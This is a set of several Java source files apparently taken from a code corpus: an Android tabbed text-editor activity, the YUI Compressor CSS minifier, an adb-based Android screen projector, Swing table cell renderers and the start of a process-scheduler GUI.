ab.addTab(ab.newTab().setText(R.string.tab3).setTabListener(new editActionbarTabListener(f3)));
*/
Log.i(TAG, "AAAAA | onCreate");
}
@Override
protected void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
Log.i(TAG, "AAAAA | onDestroy");
}
@Override
protected void onPause() {
// TODO Auto-generated method stub
super.onPause();
Log.i(TAG, "AAAAA | onPause");
}
@Override
protected void onResume() {
// TODO Auto-generated method stub
super.onResume();
Log.i(TAG, "AAAAA | onResume");
}
@Override
protected void onStop() {
// TODO Auto-generated method stub
super.onStop();
Log.i(TAG, "AAAAA | onStop");
}
@Override
protected void onSaveInstanceState(Bundle outState) {
// TODO Auto-generated method stub
super.onSaveInstanceState(outState);
Log.i(TAG, "AAAAA | onSaveInstanceState");
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// TODO Auto-generated method stub
MenuInflater inflater = getMenuInflater();
inflater.inflate(R.menu.main_menu, menu);
return super.onCreateOptionsMenu(menu);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch (item.getItemId()) {
case R.id.newMenuItem:
newFileSelected();
return true;
case R.id.openMenuItem:
openFileSelected();
return true;
case R.id.saveMenuItem:
saveCurrentTabSelected();
return true;
case R.id.saveAsMenuItem:
saveCurrentTabAsSelected();
return true;
case R.id.closeTabMenuItem:
closeCurrentTabSelected();
return true;
case R.id.exitMenuItem:
exitApplicationSelected();
return true;
default:
return super.onOptionsItemSelected(item);
}
}
/**
* Creates a new tab.
*/
public void newFileSelected()
{
Uri fileUri;
Uri.Builder fileUriBuilder = new Uri.Builder();
String fileName;
int nextTabID = ab.getTabCount();
CodeEditFragment tempTabFragment = CodeEditFragment.newInstance(nextTabID);
fileName = getString(R.string.untitledTabTitle) + " " + Integer.toString(untitledFileCount);
fileUriBuilder.appendEncodedPath(DEFAULT_DIR);
fileUriBuilder.appendEncodedPath(fileName);
fileUri = fileUriBuilder.build();
tempTabFragment.setFragmentFileUri(fileUri);
tabVector.add(nextTabID, tempTabFragment);
ab.addTab(ab.newTab().setText(fileName).setTabListener(new editActionbarTabListener(tempTabFragment)));
ab.setSelectedNavigationItem(ab.getNavigationItemCount() - 1);
untitledFileCount++;
nextTabID++;
/*
if (ab.getTabCount() > 0)
{
Log.i(TAG, "AAAAA First tab text is: " + ab.getTabAt(0).getText());
ab.getTabAt(0).setText(ab.getTabAt(0).getText() + "1");
Log.i(TAG, "AAAAA Now the first tab text is: : " + ab.getTabAt(0).getText());
}
*/
}
/**
* Opens a open file dialog and attempts to open the selected file.
*
* - Open an OI file picker intent
* - Open file, create new tab, CodeEditFragment, etc. *
*
* NOTE: * sections will be handled in the onActivityResult method
*/
public void openFileSelected()
{
}
/**
* Saves the currently selected tab to a file. It performs the following steps:
*
* - It checks to see if the CodeEditFragment has an actual file Uri
* - If it does not, present an OI file picker dialog
* - Check to see if the chosen file already exists *
* - If it does, make sure it is acceptable to overwrite it *
* - Save file *
* - If it does not, then save the file *
* - Save chosen Uri in the CodeEditFragment *
* - If it does, then save the file
*
* NOTE: * sections will be handled in the onActivityResult method
*/
public void saveCurrentTabSelected()
{
}
/**
* Saves the currently selected tab, but it gives you the chance to change
* the location and file name.
*
* - Open an OI file picker so that user can choose location and file
* - If file exists make sure that it is acceptable to overwrite it *
* - Save file *
* - If it does not, then save file *
* - Save chosen Uri in the CodeEditFragment *
*/
public void saveCurrentTabAsSelected()
{
Intent intent = new Intent("org.openintents.action.PICK_FILE");
intent.setData(Uri.parse("file:///sdcard/"));
intent.putExtra("org.openintents.extra.TITLE", "Save your file as ...");
startActivityForResult(intent, 224);
}
/**
* Closes a tab
*
* - Check to see if the tab has been saved yet
* - If it has not, save the tab
* - Check to see if the tab has been given a proper name yet
* - If it has not, then let the user select a location and filename
* - Check to see if the file already exists
* - If it does, then ask the user if it is ok to overwrite it
* - If it is, then save the file
* - If it is not, then ask the user for another file. Got back to the above
* - If it does not exist, then save the file
* - If it has, then save the file
* - If it has, then close the tab
*/
public void closeCurrentTabSelected()
{
int currentTabIndex = ab.getSelectedNavigationIndex();
Tab currentTab = ab.getTabAt(currentTabIndex);
if ( ((CodeEditFragment) tabVector.get(currentTabIndex)).doesASEditTextNeedToBeSaved() == true )
{
// Save content's of the current fragment's ASEditText
}
// Remove tab
if ( ab.getTabCount() > 0 )
ab.removeTab(currentTab);
// Remove CodeEditFragment from tabVector
tabVector.remove(currentTabIndex);
}
/*
* String fPath;
File f;
if ( m_fUri == null )
return false;
else
fPath = m_fUri.getPath();
if ( fPath == null )
return false;
f = new File(fPath);
try
{
// Check if overwriting a file is acceptable
if ( checkIfFileExists == true )
{
if ( f.exists() == true )
{
// file alread exists, ask if over=writing
// is acceptable!
}
}
if ( f.createNewFile() == false )
{
return false;
}
}
catch ( IOException e )
{
Log.e(TAG, e.toString());
return false;
}
return true;
*/
public void exitApplicationSelected()
{
}
public void changeTabTitle(int tabPosition, String text)
{
int currentTabIndex = tabPosition;
String currentTabTitle;
currentTabTitle = (String) ab.getTabAt(currentTabIndex).getText(); // just to check
ab.getTabAt(currentTabIndex).setText(text); // change tab title
currentTabTitle = (String) ab.getTabAt(currentTabIndex).getText(); // just to check
}
/**
* Changes the tab title of the currently selected tab to the last
* path segment in the internal variable of mCurrentTabSaveFilePath
*/
public void changeTabTitle()
{
int currentTabIndex = ab.getSelectedNavigationIndex();
String currentTabTitle;
if ( this.mCurrentTabSaveFilePath == null )
return;
currentTabTitle = (String) ab.getTabAt(currentTabIndex).getText(); // just to check
ab.getTabAt(currentTabIndex).setText(this.mCurrentTabSaveFilePath.getLastPathSegment()); // change tab title
currentTabTitle = (String) ab.getTabAt(currentTabIndex).getText(); // just to check
}
public void saveCurrentTabAs(Uri fUri)
{
CodeEditFragment cef;
int currentTabIndex = ab.getSelectedNavigationIndex();
if ( fUri == null )
return;
cef = (tabVector.get(ab.getSelectedNavigationIndex()));
cef.setFragmentFileUri(fUri);
cef.saveASEditText();
}
public void saveCurrentTabAs()
{
CodeEditFragment cef;
Bundle b;
int currentTabIndex = ab.getSelectedNavigationIndex();
if ( this.mCurrentTabSaveFilePath == null )
return;
cef = (tabVector.get(ab.getSelectedNavigationIndex()));
cef.setFragmentFileUri(this.mCurrentTabSaveFilePath);
cef.saveASEditText();
}
/**
* This method gets called after calling another activity for
* a result.
*/
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
// TODO Auto-generated method stub
super.onActivityResult(requestCode, resultCode, data);
Uri fileURI;
CodeEditFragment cef;
String fileName;
int currentTabIndex = ab.getSelectedNavigationIndex();
Bundle b;
Log.i(TAG, "AAAAA onActivityResult");
if ( resultCode == RESULT_OK )
{
fileURI = data.getData();
cef = (tabVector.get(ab.getSelectedNavigationIndex()));
Log.i(TAG, "AAAAA onActivityResult | resultCode is RESULT_OK | fileURI is " + fileURI);
if ( fileURI == null )
return;
if ( requestCode == 224 )
{
// 224 == Save as
Log.i(TAG, "AAAAA requestCode is 224");
fileName = fileURI.getLastPathSegment();
Log.i(TAG, "AAAAA fileName = " + fileName);
/*
* TODO: The proceeding code does not change the current tab's
* text. Even though when you grab the text after it is
* "set" it returns what I have set it to. This is very
* confusion.
*
* Also, this code should be placed at the end of this
* segment. Also, need to check if the file already
* exists.
*/
/*
* If the selected file exists, then ak if it's ok to overwrite
* it or not. Both cases are handled in the dialog handling
* methods including getting a new file name and saving the
* file and changing tab title.
*/
if ( cef.fileUriExists(fileURI) )
{
// File exists should we over-write this?
this.mCurrentTabSaveFilePath = fileURI;
b = new Bundle();
b.putInt("saveTab", currentTabIndex);
this.showDialog(224, b);
}
else
{
/*
* If the selected file does not exist, then save the file
* and change the tab title.
*/
saveCurrentTabAs(fileURI);
changeTabTitle(currentTabIndex, fileName);
}
}
else if ( requestCode == 225 )
{
// 225 == Save
Log.i(TAG, "AAAAA requestCode is 225");
cef.saveASEditText();
}
else if ( requestCode == 226 )
{
// 226 == open file
Log.i(TAG, "AAAAA requestCode is 226");
}
}
}
protected void checkExternalStorage()
{
String state = Environment.getExternalStorageState();
if (Environment.MEDIA_MOUNTED.equals(state)) {
// We can read and write the media
mExternalStorageAvailable = mExternalStorageWriteable = true;
} else if (Environment.MEDIA_MOUNTED_READ_ONLY.equals(state)) {
// We can only read the media
mExternalStorageAvailable = true;
mExternalStorageWriteable = false;
} else {
// Something else is wrong. It may be one of many other states, but all we need
// to know is we can neither read nor write
mExternalStorageAvailable = mExternalStorageWriteable = false;
}
}
/**
* Create the various dialogs used through this app
*
* id explanations:
*
* 224: Over-write file dialog
*/
@Override
protected Dialog onCreateDialog(int id, Bundle args)
{
switch (id)
{
case 224: // Over-write file from a Save-As command
AlertDialog.Builder b = new AlertDialog.Builder(this);
b.setMessage("This file already exists. Over-write it?")
.setCancelable(false)
.setPositiveButton("Yes", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
// TODO Auto-generated method stub
AEEditorActivity.this.saveCurrentTabAs();
}
})
.setNegativeButton("No", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
// Don't over-write, go back to the beginning
AEEditorActivity.this.saveCurrentTabAsSelected();
AEEditorActivity.this.changeTabTitle();
}
});
AlertDialog alert = b.create();
return alert;
default:
return super.onCreateDialog(id);
}
}
} | Java |
/*
* YUI Compressor
* http://developer.yahoo.com/yui/compressor/
* Author: Julien Lecomte - http://www.julienlecomte.net/
* Author: Isaac Schlueter - http://foohack.com/
* Author: Stoyan Stefanov - http://phpied.com/
* Copyright (c) 2011 Yahoo! Inc. All rights reserved.
* The copyrights embodied in the content of this file are licensed
* by Yahoo! Inc. under the BSD (revised) open source license.
*/
package com.yahoo.platform.yui.compressor;
import java.io.IOException;
import java.io.Reader;
import java.io.Writer;
import java.util.regex.Pattern;
import java.util.regex.Matcher;
import java.util.ArrayList;
public class CssCompressor {
private StringBuffer srcsb = new StringBuffer();
public CssCompressor(Reader in) throws IOException {
// Read the stream...
int c;
while ((c = in.read()) != -1) {
srcsb.append((char) c);
}
}
// Leave data urls alone to increase parse performance.
protected String extractDataUrls(String css, ArrayList preservedTokens) {
int maxIndex = css.length() - 1;
int appendIndex = 0;
StringBuffer sb = new StringBuffer();
Pattern p = Pattern.compile("url\\(\\s*([\"']?)data\\:");
Matcher m = p.matcher(css);
/*
* Since we need to account for non-base64 data urls, we need to handle
* ' and ) being part of the data string. Hence switching to indexOf,
* to determine whether or not we have matching string terminators and
* handling sb appends directly, instead of using matcher.append* methods.
*/
while (m.find()) {
int startIndex = m.start() + 4; // "url(".length()
String terminator = m.group(1); // ', " or empty (not quoted)
if (terminator.length() == 0) {
terminator = ")";
}
boolean foundTerminator = false;
int endIndex = m.end() - 1;
while(foundTerminator == false && endIndex+1 <= maxIndex) {
endIndex = css.indexOf(terminator, endIndex+1);
if ((endIndex > 0) && (css.charAt(endIndex-1) != '\\')) {
foundTerminator = true;
if (!")".equals(terminator)) {
endIndex = css.indexOf(")", endIndex);
}
}
}
// Enough searching, start moving stuff over to the buffer
sb.append(css.substring(appendIndex, m.start()));
if (foundTerminator) {
String token = css.substring(startIndex, endIndex);
token = token.replaceAll("\\s+", "");
preservedTokens.add(token);
String preserver = "url(___YUICSSMIN_PRESERVED_TOKEN_" + (preservedTokens.size() - 1) + "___)";
sb.append(preserver);
appendIndex = endIndex + 1;
} else {
// No end terminator found, re-add the whole match. Should we throw/warn here?
sb.append(css.substring(m.start(), m.end()));
appendIndex = m.end();
}
}
sb.append(css.substring(appendIndex));
return sb.toString();
}
public void compress(Writer out, int linebreakpos)
throws IOException {
Pattern p;
Matcher m;
String css = srcsb.toString();
int startIndex = 0;
int endIndex = 0;
int i = 0;
int max = 0;
ArrayList preservedTokens = new ArrayList(0);
ArrayList comments = new ArrayList(0);
String token;
int totallen = css.length();
String placeholder;
css = this.extractDataUrls(css, preservedTokens);
StringBuffer sb = new StringBuffer(css);
// collect all comment blocks...
while ((startIndex = sb.indexOf("/*", startIndex)) >= 0) {
endIndex = sb.indexOf("*/", startIndex + 2);
if (endIndex < 0) {
endIndex = totallen;
}
token = sb.substring(startIndex + 2, endIndex);
comments.add(token);
sb.replace(startIndex + 2, endIndex, "___YUICSSMIN_PRESERVE_CANDIDATE_COMMENT_" + (comments.size() - 1) + "___");
startIndex += 2;
}
css = sb.toString();
// preserve strings so their content doesn't get accidentally minified
sb = new StringBuffer();
p = Pattern.compile("(\"([^\\\\\"]|\\\\.|\\\\)*\")|(\'([^\\\\\']|\\\\.|\\\\)*\')");
m = p.matcher(css);
while (m.find()) {
token = m.group();
char quote = token.charAt(0);
token = token.substring(1, token.length() - 1);
// maybe the string contains a comment-like substring?
// one, maybe more? put'em back then
if (token.indexOf("___YUICSSMIN_PRESERVE_CANDIDATE_COMMENT_") >= 0) {
for (i = 0, max = comments.size(); i < max; i += 1) {
token = token.replace("___YUICSSMIN_PRESERVE_CANDIDATE_COMMENT_" + i + "___", comments.get(i).toString());
}
}
// minify alpha opacity in filter strings
token = token.replaceAll("(?i)progid:DXImageTransform.Microsoft.Alpha\\(Opacity=", "alpha(opacity=");
preservedTokens.add(token);
String preserver = quote + "___YUICSSMIN_PRESERVED_TOKEN_" + (preservedTokens.size() - 1) + "___" + quote;
m.appendReplacement(sb, preserver);
}
m.appendTail(sb);
css = sb.toString();
// strings are safe, now wrestle the comments
for (i = 0, max = comments.size(); i < max; i += 1) {
token = comments.get(i).toString();
placeholder = "___YUICSSMIN_PRESERVE_CANDIDATE_COMMENT_" + i + "___";
// ! in the first position of the comment means preserve
// so push to the preserved tokens while stripping the !
if (token.startsWith("!")) {
preservedTokens.add(token);
css = css.replace(placeholder, "___YUICSSMIN_PRESERVED_TOKEN_" + (preservedTokens.size() - 1) + "___");
continue;
}
// \ in the last position looks like hack for Mac/IE5
// shorten that to /*\*/ and the next one to /**/
if (token.endsWith("\\")) {
preservedTokens.add("\\");
css = css.replace(placeholder, "___YUICSSMIN_PRESERVED_TOKEN_" + (preservedTokens.size() - 1) + "___");
i = i + 1; // attn: advancing the loop
preservedTokens.add("");
css = css.replace("___YUICSSMIN_PRESERVE_CANDIDATE_COMMENT_" + i + "___", "___YUICSSMIN_PRESERVED_TOKEN_" + (preservedTokens.size() - 1) + "___");
continue;
}
// keep empty comments after child selectors (IE7 hack)
// e.g. html >/**/ body
if (token.length() == 0) {
startIndex = css.indexOf(placeholder);
if (startIndex > 2) {
if (css.charAt(startIndex - 3) == '>') {
preservedTokens.add("");
css = css.replace(placeholder, "___YUICSSMIN_PRESERVED_TOKEN_" + (preservedTokens.size() - 1) + "___");
}
}
}
// in all other cases kill the comment
css = css.replace("/*" + placeholder + "*/", "");
}
// Normalize all whitespace strings to single spaces. Easier to work with that way.
css = css.replaceAll("\\s+", " ");
// Remove the spaces before the things that should not have spaces before them.
// But, be careful not to turn "p :link {...}" into "p:link{...}"
// Swap out any pseudo-class colons with the token, and then swap back.
sb = new StringBuffer();
p = Pattern.compile("(^|\\})(([^\\{:])+:)+([^\\{]*\\{)");
m = p.matcher(css);
while (m.find()) {
String s = m.group();
s = s.replaceAll(":", "___YUICSSMIN_PSEUDOCLASSCOLON___");
s = s.replaceAll( "\\\\", "\\\\\\\\" ).replaceAll( "\\$", "\\\\\\$" );
m.appendReplacement(sb, s);
}
m.appendTail(sb);
css = sb.toString();
// Remove spaces before the things that should not have spaces before them.
css = css.replaceAll("\\s+([!{};:>+\\(\\)\\],])", "$1");
// bring back the colon
css = css.replaceAll("___YUICSSMIN_PSEUDOCLASSCOLON___", ":");
// retain space for special IE6 cases
css = css.replaceAll(":first\\-(line|letter)(\\{|,)", ":first-$1 $2");
// no space after the end of a preserved comment
css = css.replaceAll("\\*/ ", "*/");
// If there is a @charset, then only allow one, and push to the top of the file.
css = css.replaceAll("^(.*)(@charset \"[^\"]*\";)", "$2$1");
css = css.replaceAll("^(\\s*@charset [^;]+;\\s*)+", "$1");
// Put the space back in some cases, to support stuff like
// @media screen and (-webkit-min-device-pixel-ratio:0){
css = css.replaceAll("\\band\\(", "and (");
// Remove the spaces after the things that should not have spaces after them.
css = css.replaceAll("([!{}:;>+\\(\\[,])\\s+", "$1");
// remove unnecessary semicolons
css = css.replaceAll(";+}", "}");
// Replace 0(px,em,%) with 0.
css = css.replaceAll("([\\s:])(0)(px|em|%|in|cm|mm|pc|pt|ex)", "$1$2");
// Replace 0 0 0 0; with 0.
css = css.replaceAll(":0 0 0 0(;|})", ":0$1");
css = css.replaceAll(":0 0 0(;|})", ":0$1");
css = css.replaceAll(":0 0(;|})", ":0$1");
// Replace background-position:0; with background-position:0 0;
// same for transform-origin
sb = new StringBuffer();
p = Pattern.compile("(?i)(background-position|transform-origin|webkit-transform-origin|moz-transform-origin|o-transform-origin|ms-transform-origin):0(;|})");
m = p.matcher(css);
while (m.find()) {
m.appendReplacement(sb, m.group(1).toLowerCase() + ":0 0" + m.group(2));
}
m.appendTail(sb);
css = sb.toString();
// Replace 0.6 to .6, but only when preceded by : or a white-space
css = css.replaceAll("(:|\\s)0+\\.(\\d+)", "$1.$2");
// Shorten colors from rgb(51,102,153) to #336699
// This makes it more likely that it'll get further compressed in the next step.
p = Pattern.compile("rgb\\s*\\(\\s*([0-9,\\s]+)\\s*\\)");
m = p.matcher(css);
sb = new StringBuffer();
while (m.find()) {
String[] rgbcolors = m.group(1).split(",");
StringBuffer hexcolor = new StringBuffer("#");
for (i = 0; i < rgbcolors.length; i++) {
int val = Integer.parseInt(rgbcolors[i]);
if (val < 16) {
hexcolor.append("0");
}
hexcolor.append(Integer.toHexString(val));
}
m.appendReplacement(sb, hexcolor.toString());
}
m.appendTail(sb);
css = sb.toString();
// Shorten colors from #AABBCC to #ABC. Note that we want to make sure
// the color is not preceded by either ", " or =. Indeed, the property
// filter: chroma(color="#FFFFFF");
// would become
// filter: chroma(color="#FFF");
// which makes the filter break in IE.
// We also want to make sure we're only compressing #AABBCC patterns inside { }, not id selectors ( #FAABAC {} )
// We also want to avoid compressing invalid values (e.g. #AABBCCD to #ABCD)
p = Pattern.compile("(\\=\\s*?[\"']?)?" + "#([0-9a-fA-F])([0-9a-fA-F])([0-9a-fA-F])([0-9a-fA-F])([0-9a-fA-F])([0-9a-fA-F])" + "(:?\\}|[^0-9a-fA-F{][^{]*?\\})");
m = p.matcher(css);
sb = new StringBuffer();
int index = 0;
while (m.find(index)) {
sb.append(css.substring(index, m.start()));
boolean isFilter = (m.group(1) != null && !"".equals(m.group(1)));
if (isFilter) {
// Restore, as is. Compression will break filters
sb.append(m.group(1) + "#" + m.group(2) + m.group(3) + m.group(4) + m.group(5) + m.group(6) + m.group(7));
} else {
if( m.group(2).equalsIgnoreCase(m.group(3)) &&
m.group(4).equalsIgnoreCase(m.group(5)) &&
m.group(6).equalsIgnoreCase(m.group(7))) {
// #AABBCC pattern
sb.append("#" + (m.group(3) + m.group(5) + m.group(7)).toLowerCase());
} else {
// Non-compressible color, restore, but lower case.
sb.append("#" + (m.group(2) + m.group(3) + m.group(4) + m.group(5) + m.group(6) + m.group(7)).toLowerCase());
}
}
index = m.end(7);
}
sb.append(css.substring(index));
css = sb.toString();
// border: none -> border:0
sb = new StringBuffer();
p = Pattern.compile("(?i)(border|border-top|border-right|border-bottom|border-right|outline|background):none(;|})");
m = p.matcher(css);
while (m.find()) {
m.appendReplacement(sb, m.group(1).toLowerCase() + ":0" + m.group(2));
}
m.appendTail(sb);
css = sb.toString();
// shorter opacity IE filter
css = css.replaceAll("(?i)progid:DXImageTransform.Microsoft.Alpha\\(Opacity=", "alpha(opacity=");
// Remove empty rules.
css = css.replaceAll("[^\\}\\{/;]+\\{\\}", "");
// TODO: Should this be after we re-insert tokens. These could alter the break points. However then
// we'd need to make sure we don't break in the middle of a string etc.
if (linebreakpos >= 0) {
// Some source control tools don't like it when files containing lines longer
// than, say 8000 characters, are checked in. The linebreak option is used in
// that case to split long lines after a specific column.
i = 0;
int linestartpos = 0;
sb = new StringBuffer(css);
while (i < sb.length()) {
char c = sb.charAt(i++);
if (c == '}' && i - linestartpos > linebreakpos) {
sb.insert(i, '\n');
linestartpos = i;
}
}
css = sb.toString();
}
// Replace multiple semi-colons in a row by a single one
// See SF bug #1980989
css = css.replaceAll(";;+", ";");
// restore preserved comments and strings
for(i = 0, max = preservedTokens.size(); i < max; i++) {
css = css.replace("___YUICSSMIN_PRESERVED_TOKEN_" + i + "___", preservedTokens.get(i).toString());
}
// Trim the final string (for any leading or trailing white spaces)
css = css.trim();
// Write the output...
out.write(css);
}
}
| Java |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.android;
import java.io.IOException;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.nio.channels.SocketChannel;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.SelectionAdapter;
import org.eclipse.swt.events.SelectionEvent;
import org.eclipse.swt.graphics.Image;
import org.eclipse.swt.graphics.ImageData;
import org.eclipse.swt.graphics.PaletteData;
import org.eclipse.swt.layout.FillLayout;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Label;
import org.eclipse.swt.widgets.Menu;
import org.eclipse.swt.widgets.MenuItem;
import org.eclipse.swt.widgets.Shell;
import com.android.ddmlib.RawImage;
public class AndroidProjector {
private Label mImageLabel;
private RawImage mRawImage;
private boolean mRotateImage = false;
private final static String ADB_HOST = "127.0.0.1";
private final static int ADB_PORT = 5037;
private final static int WAIT_TIME = 5; // ms
private void open() throws IOException {
Display.setAppName("Android Projector");
Display display = new Display();
Shell shell = new Shell(display);
shell.setText("Device Screen");
createContents(shell);
shell.open();
SocketChannel adbChannel = null;
try {
while (!shell.isDisposed()) {
if (!display.readAndDispatch()) {
adbChannel = connectAdbDevice();
if (adbChannel == null)
break;
if (startFramebufferRequest(adbChannel)) {
getFramebufferData(adbChannel);
updateDeviceImage(shell, mRotateImage ? mRawImage.getRotated() : mRawImage);
}
adbChannel.close();
}
}
} finally {
if (adbChannel != null)
adbChannel.close();
display.dispose();
}
}
private void createContents(Shell shell) {
Menu menuBar = new Menu(shell, SWT.BAR);
MenuItem viewItem = new MenuItem(menuBar, SWT.CASCADE);
viewItem.setText("&View");
Menu viewMenu = new Menu(menuBar);
viewItem.setMenu(viewMenu);
final MenuItem portraitItem = new MenuItem(viewMenu, SWT.RADIO);
final MenuItem landscapeItem = new MenuItem(viewMenu, SWT.RADIO);
portraitItem.setText("Portrait");
portraitItem.setSelection(true);
portraitItem.addSelectionListener(new SelectionAdapter() {
public void widgetSelected(SelectionEvent e) {
mRotateImage = false;
}
});
landscapeItem.setText("Landscape");
landscapeItem.setSelection(false);
landscapeItem.addSelectionListener(new SelectionAdapter() {
public void widgetSelected(SelectionEvent e) {
mRotateImage = true;
}
});
shell.setMenuBar(menuBar);
shell.setLayout(new FillLayout());
mImageLabel = new Label(shell, SWT.BORDER);
mImageLabel.pack();
shell.pack();
}
private SocketChannel connectAdbDevice() throws IOException {
InetAddress hostAddr;
try {
hostAddr = InetAddress.getByName(ADB_HOST);
} catch (UnknownHostException e) {
return null;
}
InetSocketAddress socketAddr = new InetSocketAddress(hostAddr, ADB_PORT);
SocketChannel adbChannel = SocketChannel.open(socketAddr);
adbChannel.configureBlocking(false);
// Select first USB device.
sendAdbRequest(adbChannel, "host:transport-usb");
if (!checkAdbResponse(adbChannel))
return null;
return adbChannel;
}
private boolean startFramebufferRequest(SocketChannel adbChannel) throws IOException {
// Request device framebuffer.
sendAdbRequest(adbChannel, "framebuffer:");
if (checkAdbResponse(adbChannel)) {
getFramebufferHeader(adbChannel);
return true;
}
return false;
}
private void getFramebufferHeader(SocketChannel adbChannel) throws IOException {
// Get protocol version.
ByteBuffer buf = ByteBuffer.wrap(new byte[4]);
readAdbChannel(adbChannel, buf);
buf.rewind();
buf.order(ByteOrder.LITTLE_ENDIAN);
int version = buf.getInt();
int headerSize = RawImage.getHeaderSize(version);
// Get header.
buf = ByteBuffer.wrap(new byte[headerSize * 4]);
readAdbChannel(adbChannel, buf);
buf.rewind();
buf.order(ByteOrder.LITTLE_ENDIAN);
mRawImage = new RawImage();
mRawImage.readHeader(version, buf);
}
private void getFramebufferData(SocketChannel adbChannel) throws IOException {
// Send nudge.
byte[] nudge = { 0 };
ByteBuffer buf = ByteBuffer.wrap(nudge);
writeAdbChannel(adbChannel, buf);
// Receive framebuffer data.
byte[] data = new byte[mRawImage.size];
buf = ByteBuffer.wrap(data);
readAdbChannel(adbChannel, buf);
mRawImage.data = data;
}
private void sendAdbRequest(SocketChannel adbChannel, String request) throws IOException {
String requestStr = String.format("%04X%s", request.length(), request);
ByteBuffer buf = ByteBuffer.wrap(requestStr.getBytes());
writeAdbChannel(adbChannel, buf);
}
private boolean checkAdbResponse(SocketChannel adbChannel) throws IOException {
ByteBuffer buf = ByteBuffer.wrap(new byte[4]);
readAdbChannel(adbChannel, buf);
return buf.array()[0] == (byte)'O' && buf.array()[3] == (byte)'Y';
}
private void writeAdbChannel(SocketChannel adbChannel, ByteBuffer buf) throws IOException {
while (buf.position() != buf.limit()) {
int count = adbChannel.write(buf);
if (count < 0) {
throw new IOException("EOF");
} else if (count == 0) {
try {
Thread.sleep(WAIT_TIME);
} catch (InterruptedException e) {
}
}
}
}
private void readAdbChannel(SocketChannel adbChannel, ByteBuffer buf) throws IOException {
while (buf.position() != buf.limit()) {
int count = adbChannel.read(buf);
if (count < 0) {
throw new IOException("EOF");
} else if (count == 0) {
try {
Thread.sleep(WAIT_TIME);
} catch (InterruptedException e) {
}
}
}
}
private void updateDeviceImage(Shell shell, RawImage rawImage) {
PaletteData paletteData = new PaletteData(
rawImage.getRedMask(),
rawImage.getGreenMask(),
rawImage.getBlueMask());
ImageData imageData = new ImageData(
rawImage.width,
rawImage.height,
rawImage.bpp,
paletteData,
1,
rawImage.data);
Image image = new Image(shell.getDisplay(), imageData);
mImageLabel.setImage(image);
mImageLabel.pack();
shell.pack();
}
public static void main(String[] args) {
AndroidProjector androidProjector = new AndroidProjector();
try {
androidProjector.open();
} catch (IOException e) {
//e.printStackTrace();
}
}
}
| Java |
package operating.system;
import java.awt.Component;
import javax.swing.JProgressBar;
import javax.swing.JTable;
import javax.swing.table.TableCellRenderer;
//This class renders a JProgressBar in a table cell.
class ProgressRenderer extends JProgressBar implements TableCellRenderer {
/**
*
*/
private static final long serialVersionUID = -3281439064924729626L;
// Constructor for ProgressRenderer.
public ProgressRenderer(int min, int max) {
super(min, max);
}
/*
* Returns this JProgressBar as the renderer for the given table cell.
*/
public Component getTableCellRendererComponent(JTable table, Object value,
boolean isSelected, boolean hasFocus, int row, int column) {
// Set JProgressBar's percent complete value.
setValue((Integer) value);
return this;
}
}
| Java |
package operating.system;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.Serializable;
import javax.swing.AbstractCellEditor;
import javax.swing.JComboBox;
import javax.swing.JComponent;
import javax.swing.table.TableCellEditor;
public class ComboBoxCellEditor extends AbstractCellEditor implements
ActionListener, TableCellEditor, Serializable {
/**
*
*/
private static final long serialVersionUID = -172889458180259964L;
private JComboBox comboBox;
public ComboBoxCellEditor(JComboBox comboBox) {
this.comboBox = comboBox;
this.comboBox.putClientProperty("JComboBox.isTableCellEditor",
Boolean.TRUE);
// hitting enter in the combo box should stop cellediting (see below)
this.comboBox.addActionListener(this);
// remove the editor's border - the cell itself already has one
((JComponent) comboBox.getEditor().getEditorComponent())
.setBorder(null);
}
private void setValue(Object value) {
comboBox.setSelectedItem(value);
}
// Implementing ActionListener
public void actionPerformed(java.awt.event.ActionEvent e) {
// Selecting an item results in an actioncommand "comboBoxChanged".
// We should ignore these ones.
// Hitting enter results in an actioncommand "comboBoxEdited"
if (e.getActionCommand().equals("comboBoxEdited")) {
stopCellEditing();
}
}
// Implementing CellEditor
public Object getCellEditorValue() {
return comboBox.getSelectedItem();
}
public boolean stopCellEditing() {
if (comboBox.isEditable()) {
// Notify the combo box that editing has stopped (e.g. User pressed
// F2)
comboBox.actionPerformed(new ActionEvent(this, 0, ""));
}
fireEditingStopped();
return true;
}
// Implementing TableCellEditor
public java.awt.Component getTableCellEditorComponent(
javax.swing.JTable table, Object value, boolean isSelected,
int row, int column) {
setValue(value);
return comboBox;
}
// Implementing TreeCellEditor
// public java.awt.Component getTreeCellEditorComponent(javax.swing.JTree
// tree, Object value, boolean isSelected, boolean expanded, boolean leaf,
// int row) {
// String stringValue = tree.convertValueToText(value, isSelected, expanded,
// leaf, row, false);
// setValue(stringValue);
// return comboBox;
// }
}
| Java |
package operating.system;
import java.awt.*;
import java.awt.event.*;
import java.io.FileNotFoundException;
import java.util.Random;
import javax.swing.*;
import javax.swing.GroupLayout.Alignment;
import javax.swing.LayoutStyle.ComponentPlacement;
import javax.swing.border.EmptyBorder;
import javax.swing.event.ChangeEvent;
import javax.swing.event.ChangeListener;
import javax.swing.table.TableColumn;
public class ProcessSchedulerGUI extends JFrame {
/**
*
*/
private static final long serialVersionUID = 1L;
private JPanel contentPane;
private JPanel panelToolbar;
private JButton btnNew;
private JButton btnOpen;
private JButton btnSave;
private JButton btnNewjob;
private JButton btnDeljob;
private JButton btnGenjob;
private JButton btnRun;
private JSeparator separator;
private JSeparator separator_1;
private JPanel panelCharts;
private JProgressBar progressBar;
private JPanel panelGanttChart;
private JScrollPane scrollPane;
